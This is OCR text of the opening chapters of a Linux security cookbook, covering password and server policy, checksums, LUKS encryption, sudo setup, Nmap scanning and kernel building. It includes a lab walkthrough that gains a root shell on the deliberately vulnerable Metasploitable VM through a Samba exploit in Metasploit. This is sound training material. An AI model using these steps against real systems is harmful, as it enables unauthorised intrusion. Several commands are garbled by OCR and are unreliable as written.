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Preface

When setting up a Linux system, security is supposed to be an important part of all stages.
A good knowledge of the fundamentals of Linux is essential to implementing a good security
policy on the machine.

Linux, as it ships, is not completely secure, and it is the responsibility of the administrator
to configure the machine in a way such that it becomes more secure.

Practical Linux Security Cookbook will work as a practical guide for administrators and help
them configure a more secure machine.

If you want to learn about Kernel configuration, filesystem security, secure authentication,
network security, and various security tools for Linux, this book is for you.

Linux security is a massive subject and not everything can be covered in just one book. Still,
Practical Linux Security Cookbook will give you a lot of recipes for securing your machine.

What this book covers

Chapter 1, Linux Security Problems, covers various vulnerabilities and exploits in relation

to Linux. It also discusses the kinds of security that can be implemented for these exploits.
Topics include preparing security policies and security controls for password protection and
server security and performing vulnerability assessments of the Linux system. It also covers
the configuration of sudo access.

Chapter 2, Configuring a Secure and Optimized Kernel, focuses on the process of configuring
and building the Linux kernel and its testing. Topics covered include requirements for building
a kernel, configuring a kernel, kernel installation, customization, and kernel debugging. The
chapter also discusses configuring a console using Netconsole.

Chapter 3, Local Filesystem Security, looks at Linux file structures and permissions. It covers
topics such as viewing file and directory details, handling files and file permissions using
chmod, and the implementation of an access control list. The chapter also gives readers

an introduction to the configuration of LDAP.
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Chapter 4, Local Authentication in Linux, explores user authentication on a local system
while maintaining security. Topics covered in this chapter include user authentication logging,
limiting user login capabilities, monitoring user activity, authentication control definition,

and also how to use PAM.

Chapter 5, Remote Authentication, talks about authenticating users remotely on a Linux
system. The topics included in this chapter are remote server access using SSH, disabling
and enabling root login, restricting remote access when using SSH, copying files remotely
over SSH, and setting up Kerberos.

Chapter 6, Network Security, provides information about network attacks and security. It
covers managing the TCP/IP network, configuring a firewall using Iptables, blocking spoofed
addresses, and unwanted incoming traffic. The chapter also gives readers an introduction
to configuring and using TCP Wrapper.

Chapter 7, Security Tools, targets various security tools or software that can be used
for security on a Linux system. Tools covered in this chapter include sXID, PortSentry,
Squid proxy, OpenSSL server, Tripwire, and Shorewall.

Chapter 8, Linux Security Distros, introduces the readers to some of the famous distributions
of Linux/Unix that have been developed in relation to security and penetration testing. The
distros covered in this chapter include Kali Linux, pfSense, DEFT, NST, and Helix.

Chapter 9, Patching a Bash Vulnerability, explores the most famous vulnerability of Bash
shell, which is known as Shellshock. It gives readers an understanding of Shellshock
vulnerability and the security issues that can arise with its presence. The chapter also tells
the reader how to use the Linux Patch Management system to secure their machine and
also gives them an understanding of how patches are applied in a Linux system.

Chapter 10, Security Monitoring and Logging, provides information on monitoring logs
in Linux, on a local system as well as a network. Topics discussed in this chapter include
monitoring logs using Logcheck, using Nmap for network monitoring, system monitoring
using Glances, and using MultiTail to monitor logs. A few other tools are also discussed,
which include Whowatch, stat, Isof, strace, and Lynis.

What you need for this book

To get the most out of this book, readers should have a basic understanding of the Linux
filesystem and administration. They should be aware of the basic commands of Linux, and
knowledge about information security would be an added advantage.

This book will include practical examples on Linux security using inbuilt tools of Linux as well
as other available open source tools. As per the recipe, readers will have to install these tools
if they are not already installed in Linux.

i |
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Who this book is for

Practical Linux Security Cookbook is intended for all those Linux users who already have
knowledge of Linux filesystems and administration. You should be familiar with basic Linux
commands. Understanding information security and its risks to a Linux system is also helpful
in understanding the recipes more easily.

However, even if you are unfamiliar with information security, you will be able to easily follow
and understand the recipes discussed.

Since Practical Linux Security Cookbook follows a practical approach, following the steps is
very easy.

In this book, you will find several headings that appear frequently (Getting ready, How to do it,
How it works, There's more, and See also).

To give clear instructions on how to complete a recipe, we use these sections as follows:

Getting ready

This section tells you what to expect in the recipe and describes how to set up any software or
any preliminary settings required for the recipe.

How to do it...

This section contains the steps required to follow the recipe.

This section usually consists of a detailed explanation of what happened in the previous section.

There's more...

This section consists of additional information about the recipe in order to make the reader
more knowledgeable about the recipe.

See also

This section provides helpful links to other useful information for the recipe.
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In this book, you will find a number of text styles that distinguish between different kinds of
information. Here are some examples of these styles and an explanation of their meaning.

Code words in text, database table names, folder names, filenames, file extensions,
pathnames, dummy URLs, user input, and Twitter handles are shown as follows:
"The md5sum command will then print the calculated hash in a single line."

Any command-line input or output is written as follows:

telinit 1

New terms and important words are shown in bold. Words that you see on the screen, for
example, in menus or dialog boxes, appear in the text like this: "Navigate to Main Menu |
Backtrack | Exploitation Tools | Network Exploitation Tools | Metasploit Framework |
Msfconsole."

Warnings or important notes appear in a box like this.

Q Tips and tricks appear like this.

Reader feedback

Feedback from our readers is always welcome. Let us know what you think about this
book—what you liked or disliked. Reader feedback is important for us as it helps us develop
titles that you will really get the most out of.

To send us general feedback, simply e-mail feedback@packtpub.com, and mention the
book's title in the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing or
contributing to a book, see our author guide at www.packtpub.com/authors.
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Customer support

Now that you are the proud owner of a Packt book, we have a number of things to help you to
get the most from your purchase.

Downloading the example code

You can download the example code files for this book from your account at http://
www . packtpub . com. If you purchased this book elsewhere, you can visit http: //www.
packtpub.com/support and register to have the files e-mailed directly to you.

You can download the code files by following these steps:

1. Log in or register to our website using your e-mail address and password.
Hover the mouse pointer on the SUPPORT tab at the top.

Click on Code Downloads & Errata.

Enter the name of the book in the Search box.

Select the book for which you're looking to download the code files.

Choose from the drop-down menu where you purchased this book from.

N ok e

Click on Code Download.

You can also download the code files by clicking on the Code Files button on the book's
webpage at the Packt Publishing website. This page can be accessed by entering the book's
name in the Search box. Please note that you need to be logged in to your Packt account.

Once the file is downloaded, please make sure that you unzip or extract the folder using the
latest version of:

» WInRAR / 7-Zip for Windows
» Zipeg/ iZip / UnRarX for Mac
» 7-Zip / PeaZip for Linux

Downloading the color images of this book

We also provide you with a PDF file that has color images of the screenshots/diagrams used
in this book. The color images will help you better understand the changes in the output.
You can download this file from http://www.packtpub.com/sites/default/files/
downloads/PracticalLinuxSecurityCookbook ColoredImages.pdf.
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Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you find a mistake in one of our books - maybe a mistake in the text or the code

- we would be grateful if you could report this to us. By doing so, you can save other readers
from frustration and help us improve subsequent versions of this book. If you find any errata,
please report them by visiting http://www.packtpub.com/submit-errata, selecting
your book, clicking on the Errata Submission Form link, and entering the details of your
errata. Once your errata are verified, your submission will be accepted and the errata will be
uploaded to our website or added to any list of existing errata under the Errata section of
that title.

To view the previously submitted errata, go to https: //www.packtpub.com/books/
content/support and enter the name of the book in the search field. The required
information will appear under the Errata section.

Piracy of copyrighted material on the Internet is an ongoing problem across all media. At
Packt, we take the protection of our copyright and licenses very seriously. If you come across
any illegal copies of our works in any form on the Internet, please provide us with the location
address or website name immediately so that we can pursue a remedy.

Please contact us at copyright@packtpub . com with a link to the suspected pirated material.

We appreciate your help in protecting our authors and our ability to bring you valuable content.

If you have a problem with any aspect of this book, you can contact us at
questions@packtpub.com, and we will do our best to address the problem.
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Linux Security
Problems

In this chapter, we will discuss the following:

» The security policy of Linux

» Configuring password protection

» Configuring server security

» Conducting integrity checks of the installation medium using checksum
» Using the LUKS disk encryption

» Making use of sudoers - configuring sudo access

» Scanning hosts with Nmap

» Gaining a root on a vulnerable Linux system

Introduction

A Linux machine is only as secure as an administrator configures it to be. Once we are done
with the installation of the Linux OS and we remove its unnecessary packages after the
installation has been completed, we can start working on the security aspect of the software
and the services provided by the Linux machine.
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The security policy of Linux

A security policy is a definition that outlines the rules and practices to be followed to set up
the computer network security in an organization. How the organization should manage,
protect, and distribute sensitive data is also defined by the security policy.

Developing a security policy

When creating a security policy, we should keep in mind that it should be simple and easy for
all users. The objective of the policy should be to protect data while keeping the privacy of
users intact.

It should be developed around these points:

» Accessibility to the system

» Software installation rights on the system
» Data permission

» Recovery from failure

When developing a security policy, a user should use only those services for which permission
has been granted. Anything that is not permitted should be restricted in the policy.

Configuring password protection

In any system, the password plays a very important role in terms of security. A poor password
may lead to an organization's resources being compromised. The password protection policy
should be adhered to by everyone in the organization, from users to the administrator level.

How to do it...

Follow the given rules when selecting or securing your password.
For the creation policy, follow these rules:

» A user should not use the same password for all the accounts in an organization
» All access-related passwords should not be the same

» Any system-level account should have a password that's different from any other
account held by the same user
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For the protection policy, follow these rules:
» A password is something that needs to be treated as sensitive and confidential
information. Hence, it should not be shared with anyone.

» Passwords should not be shared through any electronic communication, such as
e-mails.

» Never reveal a password on your phone or questionnaire.
» Do not use password hints that could provide clues to an attacker.

» Never share company passwords with anyone, including administrative staff,
managers, colleagues, and even family members.

» Don't store passwords in written form anywhere in your office. If you store passwords
on a mobile device, always use encryption.

» Don't use the Remember Password feature of applications.
» Inthere's any doubt of a password being compromised, report the incident and
change the password as soon as possible.
For the change policy, follow these rules:
» All users and administrators must change their password on a regular basis or at
least on a quarterly basis

» The security audit team of an organization must conduct random checks to check
whether the passwords of any user can be guessed or cracked

With the help of the preceding points, ensure that a password, when created or changed,
is not easy enough to be guessed or cracked.

Configuring server security

A major reason for malicious attacks on Linux servers has been poorly implemented security
or existing vulnerabilities. When configuring a server, security policies need to be implemented
properly, and ownership needs to be taken in order to properly customize the server.
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How to do it...

General Policy:

>

The administration of all the internal servers in an organization is the responsibility
of a dedicated team, which should also keep a look out for any kind of compliance.
If any compliance takes place, the team should accordingly implement or review
the security policy.

When configuring internal servers, they must be registered in such a way that the
servers can be identified on the basis of the following information:

o Location of the server
o The operating system version and its hardware configuration
o Services and applications that are being run

Any kind of information in the organization's management system must always be
kept up to date.

Configuration Policy:

>

>

The operating system on the server should be configured in accordance with the
guidelines approved for InfoSec.

Any service or application not being used should be disabled wherever possible.

All access to the services and applications on the server should be monitored and
logged. They should also be protected through access-control methods. An example
of this will be covered in Chapter 3, Local Filesystem Security.

The system should be kept updated, and any recent security patches, if available,
should be installed as soon as possible.

Avoid using a root account to the maximum extent. It's preferable to use security
principles that require the least amount of access to perform a function.

Any kind of privileged access must be performed over secure channel connection
(SSH) wherever possible.

The server should be accessed in a controlled environment.

Monitoring Policy:

>

All security-related actions on server systems must be logged, and audit reports
should be saved as follows:

o Fora period of 1 month, all security-related logs should be kept online

o Fora period of 1 month, daily backups as well as weekly backups should be
retained

o For minimum of 2 years, full monthly backups should be retained




Chapter 1
» Any event related to security being compromised should be reported to the InfoSec
team. They shall then review the logs and report the incident to the IT department.
» Afew examples of security-related events are as follows:
o Port scanning-related attacks
o Access to privileged accounts without authorization

o Unusual occurrences due to a particular application being present on
the host

Following the preceding policy helps in the base configuration of the internal server that is
owned or operated by the organization. Implementing the policy effectively will minimize
any unauthorized access to sensitive and proprietary information.

There's more...

There are some more things to discover when we talk about security in Linux.

Security controls

When we talk about securing a Linux machine, it should always start with following a checklist
in order to help in the hardening of the system. The checklist should be such that following it
will confirm the implementation of proper security controls.

Conducting integrity checks of the

installation medium using checksum

Whenever we download an image file of any Linux distribution, it should always be checked for
correctness and safety. This can be achieved by doing an MD5 checksum of the downloaded
image with the MD5 value of the correct image.

This helps in checking the integrity of the downloaded file. Any changes to the files can be
detected by the MD5 hash comparison.

Whenever any changes take place in the downloaded files, the MD5 hash comparison can
detect it. The larger the file size, the higher the possibility of changes in the file. It is always
recommended to do the MD5 hash comparison for files such as operating system installation
files on a CD.
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Getting ready

The MD5 checksum is normally installed on most Linux distributions, so installation is
not required.

How to do it...

1. First open the Linux terminal and then change the directory to the folder containing
the downloaded ISO file using the ubuntu@ubuntu-desktop:~$ cd Downloads
command.

Linux is case-sensitive, and type the correct spelling for the folder name.
L Downloads is not the same as downloads in Linux.

2. After changing to the Downloads directory, type the following command:

md5sum ubuntu-filename.iso

3. The md5sum command will then print the calculated hash in a single line,
as shown here:

8044d756b7£f00b695ab8dce07dce43e5 ubuntu-filename.iso

Now, we can compare the hash calculated by the preceding command with the hash on the
UbuntuHashes page (https://help.ubuntu.com/community/UbuntuHashes). After
opening the UbuntuHashes page, we just need to copy the preceding hash that has been
calculated in the Find box of the browser (by pressing Ctrl + F).

If the calculated hash and the hash on the UbuntuHashes page match, then the downloaded
file is not damaged. If the hashes don't match, then there might be a problem with either
the downloaded file or the server from where the download was made. Try downloading

the file again. If the issue still persists, it is recommended that you report the issue to the
administrator of the server.

Here's something extra in case you want to go the extra mile: try out the GUI checksum
calculator that is available for Ubuntu

Sometimes, it's really inconvenient to use a terminal in order to perform checksums. You need
to know the right directory of the downloaded file and also the exact filename. This makes it
difficult to remember the exact commands.

—e1
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As a solution for this, there is a very small and simple software called GtkHash.

You can download the tool from http://gtkhash.sourceforge.net/, and install it
using this command:

sudo apt-get install gtkhash

Using the LUKS disk encryption

In enterprises such as small businesses and government offices users may have to secure
their systems in order to protect their private data, which includes customers details,
important files, contact details, and so on. To do so, Linux provides good number of
cryptographic techniques, which can be used to protect data on physical devices such as hard
disks or a removable media. One such cryptographic technique uses the Linux Unified Key
Setup-on-disk-format (LUKS). This technique allows for the encryption of Linux partitions.

LUKS has the following functionality:
» An entire block device can be encrypted using LUKS. It's well suited to protecting data
on removable storage media or laptop disk drives.

» Once encrypted, the contents of the encrypted block devices are random, thus
making it useful for the encryption of swap devices.

» LUKS uses an existing device mapper kernel subsystem.

» Italso provides a passphrase strengthener, which helps in protecting against
dictionary attacks.

Getting ready

For the following process to work, it is necessary that /home is created on a separate partition
while installing Linux.

WARNING
a1

~ Configuring LUKS using the given steps will remove all the data on the
partition that's being encrypted. So, before starting the process of using
LUKS, make sure to back up the data on an external source.
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How to do it...

For manually encrypting directories follow these steps:

1.

10.

11.

12.

13.

Move to Run level 1. Type the following command in the shell prompt or terminal:
telinit 1

Now, unmount the current /home partition using this command:

umount /home

The previous command might fail if there is any process controlling /home. Find and
kill any such process using the fuser command:

fuser -mvk /home

Check to confirm that the /home partition is not mounted now:

grep home /proc/mounts

Now, put some random data into the partition:

shred -v --iterations=1 /dev/MYDisk/home

The previous command might take some time to complete, so be patient. The time
taken depends on the write speed of your device.

Once the previous command completes, initialize the partition:

cryptsetup --verbose --verify-passphrase luksFormat /dev/MYDisk/
home

Open the newly created encrypted device:
cryptsetup luksOpen /dev/MYDisk/home

Check to confirm that the device is present:

ls -1 /dev/mapper | grep home

Now create a filesystem:
mkfs.ext3 /dev/mapper/home

Then, mount the new filesytem:

mount /dev/mapper/home /home

Confirm that the filesystem is still visible:
df -h | grep home

Enter the following line in the /etc/crypttab file:
home /dev/MYDisk/home none
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14. Make changes in the /etc/fstab file to delete the entry for /home and add the
following line:

/dev/mapper/home /home ext3 defaults 1 2

15. Once completed, run this command to restore the default SELinux security settings:

/sbin/restorecon -v -R /home

16. Reboot the machine:
shutdown -r now

17. After rebooting, the system will prompt us for the LUKS passphrase on boot. You can
log in as the root now and restore your backup.

Congratulations! You have successfully created an encrypted partition. Now you can keep all
your data safe even when your computer is off.

We first move into running level 1 and unmounting the /home partition. Once unmounted,
we fill some random data in the /home partition. Then, we initialize the partition, using the
cryptsetup command to encrypt it.

Once the encryption is done, we mount the filesystem back again, and then make an entry of
the partition in the /etc/crypttab file. Also, the /etc/fstab file is edited to add an entry
for the preceding encrypted partition.

After completing all the steps, we have restored the default settings of SELinux.

Doing this, the system will always ask for the LUKS passphrase on boot.

Making use of sudoers - configuring

sudo access

Whenever the system administrator wants to provide trusted users administrative access
to the system without sharing the password of the root user, they can do so using the
sudo mechanism.

Once the user is given access using the sudo mechanism, they can execute any
administrative command by preceding it with sudo. Then, the user will be asked to enter their
own password. After this, the administrative command will be executed in the same way as
run by the root user.
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Getting ready

As the file for the configuration is predefined and the commands used are inbuilt, nothing
extra needs to be configured before starting these steps.

How to do it...

1. We will first create a normal account and then give it sudo access. Once done, we
will be able to use the sudo command from the new account and then execute the
administrative commands. Follow the steps given to configure the sudo access.
Firstly, use the root account to login to the system. Then, create a user account
using the useradd command, as shown in the following figure:

# useradd USERNAME

Replace USERNAME with any name of your choice in the preceding command.

2. Now, using the passwd command, set a password for the new user account.

# passwd USERNAME

Changing password for user USERNAME.
New password:

Retype new password:
passwd: all authentication tokens updated successfully.

3. Editthe /etc/sudoers file by running visudo. The policies applied when using the
sudo command are defined by the /etc/sudoers file.

4. Once the file is open in the editor, search for the following lines, which allow sudo
access to the users in the test group:

$# 2llows people in group test to run all commands

f Stest ATT— (ALL)
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5. We can enable the given configuration by deleting the comment character (#) at the
beginning of the second line. Once the changes are made, save the file and exit from
the editor. Now, using the usermod command, add the previously created user to the
test group.

# nsermod -aif test USERNAME

6. We need to check whether the configuration shown in the preceding screenshot
allows the new user account to run commands using sudo.

7. To switch to the newly created user account, use the su option.

# su USERNAME -

8. Now, use the groups command to confirm the presence of the user account in the
test group.

% groups

USERNAME test

Finally, run the whoami command with sudo from the new account. As we have
executed a command that uses sudo for the first time, using this new user account,
the default banner message will be displayed for the sudo command. The screen will
also ask for the user account password to be entered.

% sudo whoami
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for USERNAME:
root

9. The last line of the preceding output is the username returned by the whoami
command. If sudo is configured correctly, this value will be root.

You have successfully configured a user with sudo access. You can now log in to this user
account and use sudo to run commands the same way as you would from the root user.

s
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When we create a new account, it does not have permission to run administrator commands.
However, after editing the /etc/sudoers file and making an appropriate entry to grant
sudo access to the new user account, we can start using the new user account to run all

the administrator commands.

There's more...

Here is an extra measure that you can take to ensure total security.

Vulnerability assessment

A vulnerability assessment is the process of auditing our network and system security through
which we can know about the confidentiality, integrity, and availability of our network. The first
phase in the vulnerability assessment is reconnaissance, and this further leads to the phase
of system readiness in which we mainly check for all known vulnerabilities in the target. The
next phase is reporting, where we group all the vulnerabilities found into categories of low,
medium, and high risk.

Scanning hosts with Nmap

Nmap is one of the most popular tools included in Linux that can be used to scan a network.
It has been in existence for many years, and to date, it is one of the most preferable tools
to gather information about a network.

Nmap can be used by administrators on their networks to find any open ports and host systems.

When doing a vulnerability assessment, Nmap is surely a tool that can't be missed.

Getting ready

Most Linux versions have Nmap installed. The first step is to check whether you already have
it using this command:

nmap -version

If Nmap exists, you should see an output similar to what is shown here:

Nmap version 6.00 ( http://nmap.org )

If Nmap is not already installed, you can download and install it from https://nmap.org/
download.html

Sk
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How to do it...

Follow these steps to scan hosts using Nmap:

1. The most common use of Nmap is to find all online hosts within a given IP range.
The default command used to do this takes some time to scan the complete network,
depending on the number of hosts present in the network. However, we can optimize
the process in order to scan the range faster.

The following screenshot shows you an example of this:

2. Inthe preceding example, the time taken to complete the scan was 6.67 seconds
when scanning 100 hosts. If the whole IP range for a particular network is to be
scanned, it would take a lot more time.

[}
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3. Now, let's try to speed up the process. The n switch tells Nmap not to perform the
DNS resolution of the IP addresses, hence making the process faster. The T switch
tells Nmap what speed to operate at. Here, T1 is the slowest and T5 is the fastest.
The max-rtt-timeout option specifies the maximum time required to wait for
the response.

Now, the same command is shown in this example:

This time, Nmap scanned the complete IP range in 1.97 seconds. Pretty good, right?

4. Port scanning using Nmap helps us discover services that are online, such as finding
FTP servers. To do this, use the following command:

nmap —s5 —3

0 - 1
grep 0

The preceding command of Nmap shall list out all the IP addresses that have
port 21 open.

5. Not only FTP, other services can also be discovered by matching the port numbers on
which they run. For example, MySQL runs on port 3306. The command will now look
like this:
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Nmap checks for services that are listening by testing the most common network
communication ports. This information helps the network administrator to close down any
unwanted or unused services. The preceding examples show you how to use port scanning
and Nmap as powerful tools to study the network around us.

See also

Nmap also has scripting features using which we can write custom scripts. These scripts
can be used with Nmap to automate and extend its scanning capabilities. You can find more
information about Nmap on its official home page at https://nmap.org/

Gaining a root on a vulnerable Linux system

When trying to learn how to scan and exploit a Linux machine, one major problem we
encounter is where to try learning it. For this purpose, the Metasploit team has developed and
released a VMware machine called Metasploitable. This machine has been made vulnerable
purposefully and has many services running unpatched. Due to this, it becomes a great
platform to practice or develop penetration testing skills. In this section, you will learn how

to scan a Linux system, and then using the scanning result, find a service that is vulnerable.
Using this vulnerable service, we shall gain root access to the system.

Getting ready

Backtrack 5R2 and the Metasploitable VMware system will be used in this section. The image
file of Metasploitable can be downloaded from http://sourceforge.net/projects/
metasploitable/files/Metasploitable2/.

How to do it...

Follow these steps to gain root access to a vulnerable Linux system:

1. First, open the Metasploit console on the backtrack system by following this menu:
navigate to Main Menu | Backtrack | Exploitation Tools | Network Exploitation
Tools | Metasploit Framework | Msfconsole.

]
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2. Next, we need to scan the target (which is 192.168.0.1 in this example) with Nmap:

This figure shows the output of the command that is executed:

In the preceding command, the -Ss option allows us to perform a stealth scan, and
the -2 option tries to discover the version information of the OS and service.

Also, in the preceding command, we can see that there are many services running on
different ports. Among them is Samba, which runs on ports 139 and 445.

Note that Samba is a service that provides the SMB file and prints
i services for Windows systems.

Once we are able to locate the Samba service, we will just focus on it now. From
the preceding output, we can see that Samba is running version 3.x. Now, we shall
try to get more specific information about the service. To do this, we will use any of
the auxiliary modules of Metasploit, such as the scanner section, and look for the

SMB protocol.
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upSid)

4. We can see that the scanner section has a SMB version detector. Now, we'll get the
exact version of Samba using the SMB detector program. If we search online for all
the vulnerabilities of the particular version of Samba, we will find the username
map script.

5. We can now search in the list of exploits available in Metasploit to check whether an
exploit exists for the map script username using the search samba command.

[}
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6. We have found an exploit for the map script username, and it has a rating that is
excellent, which means that we can use this exploit.

7. Now, use the map script username to gain a root level shell in the system.

st 192.168.08.1

d (192.168.6.7 :4444 -> 192.168.8.1 at 2012-84-25 02 -0400

Now, we shall gain root-level access to the system using the preceding exploit. Once we
choose the exploit and configure it with the target IP address (in this case, 192.168.0.1), we
will execute a command to run the exploit. Doing this will create and give us a remote session
on the target system and also open a command shell. Now, run the id command in the
remote shell. This will give a result—uid=0 (root)gid=0 (root). This confirms that we

have remote root access to the target system.

We first performed an Nmap scan to check for running services and open ports and found the
Samba service running. Then, we tried to find the version of the SMB service. Once we got
this information, we searched for any exploit available for Samba. Using the exploit, we tried
to attack the target system and got the root shell on it.

Let's learn about a few more exploits and attacks that are peculiar to Linux.
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In this section, we shall go through a few of the common exploits and attacks that Linux is
vulnerable to. However, in this section, will not cover any recipes to deal with the attacks.
This section is just to let you know about the common exploits used in Linux.

Null or default passwords

Often, administrators use default passwords that are provided to them by a vendor or they
may even leave the administrative password blank. This happens mainly while configuring
devices, such as routers, and also in BIOSes. Even some services running on Linux can
contain the default administrator password. It is always recommended that you change
the default password and set a new one that is only known to the administrator.

IP spoofing

An attacker can find vulnerabilities on our systems and servers, and using these, they can
install background programs or attack a network. This can be done if the attacker connects
his system to our network in a way that makes it appear as though there's a node in the local
network. There are various tools available to assist crackers while performing IP spoofing.

Eavesdropping

An attacker can collect data passing between two active nodes that communicate on a
network by eavesdropping. This type of attack works mostly with protocols such as Telnet, FTP,
and HTTP. Attacks of this kind can be done when the remote attacker already has access to
any system on the network. This can be made possible using other attacks such as the Man
in the Middle Attack.

Service vulnerabilities

If an attacker is able to find a flaw or vulnerability in any service running on the network
system, they can compromise the entire system and its data as well as other systems on
the network.

Administrators should stay updated about any patches or updates that are available for any
service or application running on the network system.

Denial of Service (DoS) attack

When an attacker sends unauthorized packets to the target system, which could be a server,
router, or a workstation, in large numbers, it forces the resource to become unavailable to
legitimate users.

The packets being sent by the attacker are usually forged, making the investigation
process difficult.

[}






Configuring a Secure
and Optimized Kernel

In this chapter, we will discuss the following:

Requirements for building and using a kernel
Creating a USB boot media

Retrieving a kernel source

Configuring and building a kernel

Installing and booting from a kernel

Testing and debugging a kernel

Configuring a console for debugging using Netconsole
Debugging a kernel on boot

Introduction

For all Linux distributions, including Ubuntu, CentOS, and Fedora, a kernel is vital. It is by
default installed for most Linux versions when the OS is installed, hence we generally don't
have to compile the kernel. Even when there is a critical update to be installed in the kernel,
it can be done using apt -get or yum on the Linux system.

However, there might be few situations where we have to compile the kernel from a source
ourselves. A few of these situations are as follows:

>

>

>

Enabling experimental features in the kernel
Enabling new hardware support

Debugging the kernel

Exploring the kernel source code
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Requirements for building and using a kernel

Before we can start building the Linux kernel, we must ensure that a working boot media
exists for the Linux system. This can be used to boot into the Linux system if the boot loader
is not configured properly. You will learn how to create a USB boot media, retrieve a kernel
source, configure and build a kernel, and perform installation and booting from a kernel.

Creating a USB boot media

A USB boot media can be created on any USB media device that is formatted as ext2, ext3,
or VFAT. Also, ensure that enough free space is available on the device, varying from 4 GB
required for the transfer of a distribution DVD image, 700 MB in the case of a distribution
CD image, or just 10 MB to transfer a minimal boot media image.

Getting ready

Before carrying out the steps, we need to have an image file of the Linux installation disk,
which we can name boot . iso, and a USB storage device, as specified previously.

How to do it...

To create the USB boot media, we need to perform these commands as the root:
1. Firstly, we need to install the sys1inux boot loader by executing the following
command on the USB storage device:
syslinux /dev/sdbl
2. Now, create mount points each for the boot . iso file and the USB storage device
by executing the following command:
mkdir /mnt/isoboot /mnt/diskboot

3. Next, mount the boot . iso file on the mount point created for it:

mount -o loop boot.iso /mnt/isoboot

In the preceding command the -o 1loop option is used to create a pseudo device,
which acts as a block-based device. It treats a file as a block device.

4. Next, we will mount the USB storage device on the mount point created for it:
mount /dev/sdbl /mnt/diskboot




Chapter 2

5. Once both boot . iso and the USB storage device are mounted, we will copy the
isolinux files from the boot . iso to the USB storage device:

cp /mnt/isoboot/isolinux/* /mnt/diskboot

6. Next, run the command to use the isolinux.cfg file from boot .iso as the
syslinux.cfg file for the USB storage device:
grep -v local /mnt/isoboot/isolinux/isolinux.cfg > /mnt/diskboot/
syslinux.cfg

7. Once done with the previous command, unmount boot . iso and the USB
storage device:
unmount /mnt/isoboot /mnt/diskboot

8. Now, reboot the system, and then try to boot with the USB boot media to verify that
we are able to boot with it.

When we copy the required files from the boot . iso file to the USB storage media and use
the isolinux.cfgfile from boot . iso in the USB storage media as the syslinux.cfgfile,
it converts the USB storage media into a bootable media device, which can be used to boot
the Linux system.

Retrieving a kernel source

Most Linux distributions include kernel sources in them. However, these sources may tend
to be a bit out of date. Due to this, we may need to get the latest sources when building or
customizing the kernel.

Getting ready

Most of the Linux kernel developer community uses the Git tool to manage source code.
Even Ubuntu has integrated Git for its own Linux kernel source code, hence enabling kernel
developers to interact better with the community.

We can install the git package using this command:

sudo apt-get install git

s
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How to do it...

The Linux kernel source code can be downloaded from various sources, and we will discuss
the methods used to download from these sources:

» We can find the Linux source code in the form of a complete tarball and also as an
incremental patch on the official web page of Linux kernel at http://www.kernel.
org.

» Itis always recommended that you use the latest version unless you have a specific
reason to work with an older version.

» Ubuntu's kernel source can be found under Git. Each release code of the kernel is
separately maintained on kernel . ubuntu. com in its own Git repository, which is
located at:

git://kernel.ubuntu.com/ubuntu/ubuntu-<release>.git or
http://kernel .ubuntu.com/git-repos/ubuntu/

» We can clone the repository using Git to get a local copy. The command will get
modified as per the Ubuntu release we are interested in.

» To obtain the precise tree execute the command shown in the following screenshot:

rnel .ubuntu

» The precise tree will get downloaded using the command in the preceding image.
To download any other tree, the syntax of the command will be: git clone git://
kernel.ubuntu.com/ubuntu/ubuntu-<releases.

» The downloaded file would be in either the GNU zip (.gzip) format or the .bzip2
format. After downloading the source file, we need to uncompress it. If the tarball
isin .bzip2, use this command for it:

tar xvjf linux-x.y.z.tar.bz2

If it is in the compressed GNU . gz format, use this command:

tar xvzf linux-x.y.z.tar.gz

=
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Using the different methods that are mentioned in the preceding section, we are able to
download the source code of the Linux kernel. Using any option depends on the user's
choice and preference.

Configuring and building a kernel

The need to configure the kernel could arise due to many reasons. We may want to resize the
kernel to run only the necessary services, or we may have to patch it to support new hardware
that was not supported earlier by the kernel. This could be a daunting task for any system
administrator, and in this section, we take a look at how we can configure and build the kernel.

Getting ready

It is always recommended that you have ample space for kernels in the boot partition of any
system. We can either choose the whole disk install option or set aside a minimum of 3 GB
of disk space for the boot partition.

After installing the Linux distribution and configuring development packages on the system,
enable the root account as well as sudo for our user account.

Now, before we start with the installation of any packages, run the following command to
update the system:

sudo apt-get update && sudo apt-get upgrade

After this, check whether the build-essential package is already installed or not. If not,
we can install it using this command:

sudo apt-get install build-essential
This package is used to build the Linux kernel on a x86_64 system.
We also need a few other requirements to compile the kernel:

» The latest version of gcc should be installed using this command:
sudo apt-get install gcc

» Install the ncurses development package using this command:

sudo apt-get install libncurses5-dev

=]
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» Afew other packages may also be needed to cross-compile the Linux kernels:
sudo apt-get install binutils-multiarch

sudo apt-get install alien

» Next, install ncurses-dev, which is required to run make menuconfig:

sudo apt-get install ncurses-dev

How to do it...

Once we are done with the steps in the Getting Ready section, we can move on to the process
of configuring and building the kernel. This process will take a lot of time, so be prepared:

1. Download the Linux kernel by visiting the http: //www.kernel .org, as shown in
this screenshot:

The Linux Kernel Archives \

About Contact us FAQ Releases Signatures Site news !\A/

Protocol  Locarion - Latest Stable Kernel:
HTTP https://www.kernel.org/pub/

GIT https://git.kernel.org/ @
T 415

rsync://rsync.kernelorg/pub/

mainline:  4.2-rcé 2015-08-09 [tar.xz] [pgpl [patch] [view diff] [browse]

stable: 415 2015-08-10 [tar.xz] [pgpl [patch] [inc. patch] [view diff] [browse] [changelog]
stable: 4.0.9 [EOL] 2015-07-21 [tarxz] [pgpl] [patch] [inc. patch] [view diff] [browse] [changelog]
longterm:  3.18.20 2015-08-08 [tar.xz] [pgp] [patch] [inc. patch] [view diff] [browse] [changelog]
longterm:  3.14.50 2015-08-10 [tar.xz] [pgpl [patch] [inc. patch] [view diff] [browse] [changelog]
longterm:  3.12.46 2015-08-07 [tar.xz] [pgp] [patch] [inc. patch] [view diff] [browse] [changelog]
longterm:  3.10.86 2015-08-10 [tar.xz] [pgpl [patch] [inc. patch] [view diff] [browse] [changelog]
longterm:  3.4.108 2015-06-19 [tarxz] [pgpl [patch] [inc. patch] [view diff] [browse] [changelog]
longterm:  3.2.71 2015-08-12 [tarxz] [pgpl [patch] [inc. patch] [view diff] [browse] [changelog]
longterm:  2.6.32.67 2015-06-03 [rar.xz] [pgp] [patch] [inc. patch] [view diff] [browse] [changelog]
lnux-next: next-20150814 2015-08-14 [browse]
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2. It can also be downloaded using the following command:

